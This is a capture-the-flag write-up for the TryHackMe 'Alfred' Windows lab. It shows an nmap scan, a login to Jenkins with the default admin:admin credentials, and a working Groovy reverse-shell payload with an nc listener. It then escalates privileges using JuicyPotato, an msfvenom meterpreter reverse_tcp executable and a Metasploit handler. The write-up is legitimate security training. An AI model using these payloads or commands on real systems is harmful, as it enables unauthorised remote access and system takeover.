> For the complete documentation index, see [llms.txt](https://0xa1mn.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xa1mn.gitbook.io/writeups/try-hack-me-thm/windows-boxes/alfred.md). # Alfred ## Scanning ### nmap ``` root@ip-10-10-77-178:~# nmap -A -T4 -O 10.10.126.34 Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-21 16:30 BST Nmap scan report for ip-10-10-126-34.eu-west-1.compute.internal (10.10.126.34) Host is up (0.00046s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: Site doesn't have a title (text/html). 3389/tcp open tcpwrapped | ssl-cert: Subject: commonName=alfred | Not valid before: 2021-09-20T15:27:46 |_Not valid after: 2022-03-22T15:27:46 8080/tcp open http Jetty 9.4.z-SNAPSHOT | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Site doesn't have a title (text/html;charset=utf-8). MAC Address: 02:1A:CA:11:02:A3 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2008 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows 8.1 R1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 (89%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE HOP RTT ADDRESS 1 0.46 ms ip-10-10-126-34.eu-west-1.compute.internal (10.10.126.34) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.09 seconds ``` *3 Ports open* ## Enumeration ### Port 80 ![](/files/-Mk83hUlAF7K0-F90N11) landing page after some enum no thing interesting except this mail `alfred@wayneenterprises.com` ### Port 8080 ![](/files/-Mk83zjp-OfK5hLXsHbt) Jenkins login page ... after some tries of default credentials `admin:admin` Now we should find a way to execute reverse shell jenkins has this ability just copy me ![](/files/-Mk84l4iq1IGwTOB85hN) ![](/files/-Mk84viD0RSlLk-iJLBV) ![](/files/-Mk85-nb5JzPdZZzQH1G) ![](/files/-Mk85CeYkkHMEmBX6TZn) ## Initial Access [**payload**](https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy) ``` String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` setup listener on attacker box `nc -nlvvp 8044` run payload ... ![](/files/-Mk85qCa88hbowgTCZu_) * [x] User shell Recommended [Abusing Jenkins Groovy Script Console to get Shell](https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6) ## Privilege Escalation ![](/files/-Mk88C_8b9HkENbBsfXv) we will use JuicyPotato download [executable](https://github.com/ohpe/juicy-potato/releases) setup smb server on attacker box `smbserver.py kali .` Download on victim machine `C:\Users\bruce\Desktop>copy \10.10.77.178\kali\JuicyPotato.exe JuicyPotato.exe` we need to generate msf payload to gain reverse shell with system privilege `msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=1234 -f exe -o rev1234.exe` copy it to victim box in same way above then setup handler for the above payload `use exploit/multi/handler` \ `set PAYLOAD windows/meterpreter/reverse_tcp` \ `set LHOST 10.10.77.178` \ `set LPORT 1234 run` run `C:\Users\bruce\Desktop>JuicyPotato.exe -t * -l 1234 -p C:\Users\bruce\Desktop\rev1234.exe` ![](/files/-Mk8KKz2nnJNA_9II86v) * [x] SYSTEM Shell > to read root flag migrate to higher process --- # Agent Instructions This documentation is published with GitBook. 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